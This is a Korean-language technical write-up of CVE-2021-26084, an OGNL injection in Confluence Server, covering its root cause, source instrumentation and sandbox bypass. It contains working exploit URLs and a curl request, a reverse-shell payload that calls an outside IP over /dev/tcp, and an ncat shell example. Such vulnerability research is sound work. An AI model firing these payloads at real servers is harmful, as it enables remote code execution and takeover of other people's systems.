
CVE-2021-26084 - Confluence Server Webwork OGNL 주입
이 문서는 CVE-2021-26084 - Confluence Server Webwork OGNL 인젝션 [1]에 대한 개요를 제공합니다. 이 취약점을 통해 인증된 사용자가 Confluence Server 또는 Data Center 인스턴스에서 임의의 코드를 실행할 수 있습니다.
Confluence Server / Data Center는 웹 요청을 처리하기 위해 Webwork 2 MVC 프레임워크를 사용하며, 뷰 계층은 주로 Velocity 템플릿으로 구성됩니다. Velocity 템플릿에서 $를 포함하는 value 속성을 가진 Webwork 태그를 사용하면 이중 평가(double evaluation)가 발생합니다. $가 포함된 Value 속성을 가진 Webwork 태그를 만나면 Velocity 템플릿을 파싱할 때 초기 평가가 이루어집니다. 이 평가된 값은 Webwork 태그로 전달되며, Webwork 태그는 이 값을 OGNL 표현식으로 추가 평가합니다. 만약 액션 클래스가 value 속성에 사용된 매개변수에 대한 setter 함수를 노출하는 경우, URL 매개변수를 사용하여 이 매개변수를 URL에서 설정할 수 있습니다. 따라서 OGNL 페이로드가 포함된 URL을 조작함으로써 공격자는 영향 받는 Confluence Server / Data Center 버전에서 원격 코드 실행을 수행할 수 있습니다.
# UnAuthenticated RCE - httpvoid의 훌륭한 글을 바탕으로 함; Harsh Jaiswal(rootxharsh), Rahul Maini(iamnoooob) 제공 [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'
# Confluence < 7.12.14에서 UnAuthenticated RCE, '사용자가 계정을 만들 수 있도록 허용'이 활성화된 경우에만 가능. COG > 사용자 관리 > 사용자 가입 옵션.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Confluence < 7.12.14에서 Authenticated RCE, Confluence Server에 유효한 사용자 계정 필요
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Confluence 7.12.14에서 Authenticated RCE, newSpaceKey 매개변수는 사용자가 페이지 추가 권한을 가진 공간의 Space 키로 업데이트되어야 함
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# 아래 페이로드는 netcat 리스너를 실행 중인 원격 호스트로 리버스 셸을 생성합니다. 가독성을 위해 BurpSuite 애드온 Hackvertor 태그가 사용되었으며, 그에 따라 변환되어야 합니다.
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>
표현 언어 인젝션 취약점은 애플리케이션이 사용자 제어 가능한 데이터를 코드 인터프리터에 의해 동적으로 평가되는 문자열에 포함시킬 때 발생합니다. 사용자 데이터가 엄격하게 검증되지 않으면 공격자는 조작된 입력을 사용하여 실행될 코드를 수정하고 서버에서 실행될 임의의 코드를 주입할 수 있습니다 [2]. OGNL(Object-Graph Navigation Language) [3]은 Java 객체를 처리하기 위한 표현 언어입니다. OGNL 인젝션 취약점이 존재하면 공격자가 OGNL 표현식을 주입하여 임의의 Java 코드를 실행할 수 있습니다. 속성 가져오기/설정 외에도 OGNL은 다양한 기능을 지원하며, 그중 아래 기능은 익스플로잇 개발 관점에서 흥미로워 보입니다.
정적 메서드 호출: @java.lang.Runtime@getRuntime()
생성자 호출: new java.lang.String[]{'/bin/bash','-c', 'xcalc'}
컨텍스트 변수 작업 기능: #attr["webwork.valueStack"]
메서드 호출: #attr["webwork.valueStack"].findValue()
위의 구성을 결합하여 유효한 OGNL 표현식을 만들 수 있습니다. 일반적인 OGNL 표현식의 예는 아래와 같습니다:
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')
WebWork 2는 XWork라는 명령 패턴 프레임워크 API 위에 구축된 풀 기반(pull based) MVC 프레임워크이며, 인기 있는 Apache Struts2의 전신입니다. Confluence는 OpenSymphony의 WebWork 2를 사용하여 사용자가 제출한 웹 요청을 처리합니다. Webwork는 객체 스택(ValueStack으로도 알려짐)을 탐색하기 위해 OGNL 기반의 강력한 표현 언어를 지원합니다. 또한 JSP, FreeMarker, Velocity를 포함한 여러 뷰 기술을 지원하며 풍부한 태그 라이브러리를 제공합니다. Mike Cannon-Brookes의 "WebWork: Strutting the OpenSymphony way" [4]는 Webwork 2 프레임워크에 대한 훌륭한 개요를 제공합니다. 이 취약점과 관련하여 특히 중요한 Webwork의 기능은 다음과 같습니다:
취약점 발견은 주로 화이트 박스 테스트 접근 방식을 통해 이루어졌으며, 소스 코드 계측(instrumentation)을 사용하여 OGNL 평가를 분석했습니다. GHSL 연구원 Man Yue Mo의 Apache Struts에서의 OGNL 인젝션에 대한 훌륭한 연구 [5] [6] [7]에 따라, UIBean 클래스의 evaluateParams 메서드가 흥미로운 후보로 주목되었습니다. Confluence Data Center(atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar)에 있는 webwork 라이브러리의 코드 베이스를 JD GUI를 사용하여 추출하고 evaluateParams와 유사한 메서드를 분석했습니다. 가장 일치하는 것은 com.opensymphony.webwork.views.jsp.ui.AbstractUITag의 protected void evaluateParams(OgnlValueStack stack) 메서드였습니다. 소스 코드 분석 결과, 대부분의 OGNL 페이로드를 차단하는 com.opensymphony.webwork.util.SafeExpressionUtil 클래스가 존재함을 추가로 발견했습니다.
저자는 Confluence Server를 디버거로 실행할 능력이 거의 없었기 때문에, 위 클래스에서 OGNL 평가 결과를 덤프하기 위해 기본적인 print 문을 사용했습니다. 소스 코드 계측에 관련된 단계는 다음과 같습니다:
String DL = "\n" + (new Exception().getStackTrace()[0]).getClassName() + "::" + (new Exception().getStackTrace()[0]).getMethodName() + ":";
Object o = findValue(this.valueAttr, valueClazz);
addParameter("nameValue", o);
System.out.println("\033[1;33m" + DL + (new Exception().getStackTrace()[0]).getLineNumber() + "\t findValue( " + this.valueAttr + " ) = " + o + "\033[0m");
# webwork jar 내의 클래스에 대해 javap를 사용하여 소스 및 대상 버전을 식별합니다.
javac -target 1.6 -source 1.6 -classpath "/opt/atlassian-confluence-7.12.4/lib/*:/opt/atlassian-confluence-7.12.4/confluence/WEB-INF/lib/*" -d . *.java
jar vuf webwork-2.1.5-atlassian-3.jar com
계측된 webwork 라이브러리를 사용하여, webwork 태그의 value 속성이 잠재적인 주입 지점임을 관찰했습니다. 렌더링이 evaluateParams 메서드에서 끝나고 value 속성이 OGNL로 평가되기 때문입니다. 또한 Velocity 템플릿에 value 속성이 $ 구문을 사용하여 설정된 webwork 태그가 있으면, 이 값이 Velocity 템플릿 렌더링 중에 평가되고, 이 평가된 값이 Webwork 태그로 전달된다는 것을 관찰했습니다. 이러한 태그의 일반적인 예는 다음과 같습니다:
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#tag( "Hidden" "name='token'" "value='$!action.token'" )
#tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")
value 속성이 입력을 OGNL로 처리했지만, $ 구문 주위에 작은따옴표가 있어 입력이 문자열로 처리되었습니다. 이 제한을 우회하기 위해 유니코드 이스케이프 시퀀스가 사용되었습니다. 작은따옴표를 직접 전달하면 OGNL 실행 지점에 도달하기 전에 HTML 엔터티로 변환되었기 때문입니다. 유니코드 이스케이프 시퀀스는 OgnlUtil.compile 내에서 파싱되어 ognl.ASTAdd가 형성되고, 이로 인해 주입된 OGNL 페이로드가 평가됩니다.
parsedExpression = OgnlUtil.compile( '\u0027+(7*7)+\u0027' ) = "" + (7 * 7) + ""
com.opensymphony.webwork.views.jsp.ui.AbstractUITag::evaluateParams --> findValue( '\u0027+(7*7)+\u0027' ) = 49

Confluence 코드베이스에서 webwork 태그와 속성에 $가 포함된 정규식 패턴과 일치하는 velocity 파일을 검색했습니다. velocity 파일이 식별되면, xwork 구성 파일(xwork.xml, confluence-x.y.z.jar 내부)을 탐색하여 velocity 템플릿을 사용하는 해당 액션 클래스를 식별했습니다. 이 과정은 대략 다음과 같습니다:
content-editor.vm(atlassian-confluence-7.12.4/confluence/template/custom)에는 아래 Webwork 태그가 있었습니다.
#if ($templateApplied)
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#end
value 속성인 templateId는 docreatepagefromtemplate.action 엔드포인트에 URL 매개변수 sourceTemplateId를 전달하여 설정할 수 있습니다. sourceTemplateId라는 이름의 URL 매개변수가 호출되면, 액션 클래스(com.atlassian.confluence.pages.actions.CreatePageFromTemplateAction)의 setter 함수(setSourceTemplateId)가 프레임워크에 의해 호출되어 sourceTemplateId 멤버 변수의 값을 설정합니다.
Velocity 템플릿이 파싱될 때, ${templateId}는 먼저 액션 클래스의 getTemplateId 함수를 호출하여 평가되며, 이 함수는 sourceTemplateId 멤버 변수의 값을 반환합니다.

이 평가된 값은 Webwork 태그의 value 속성으로 전달되고, 그런 다음 value 속성이 OGNL 표현식으로 평가됩니다. 마지막으로 유니코드 이스케이프 시퀀스를 사용하고 #attr["webwork.valueStack"] 변수를 활용하여 WebWork 태그가 사용하는 SafeExpressionUtil 샌드박스를 우회하고 임의의 Java 코드를 실행할 수 있습니다.
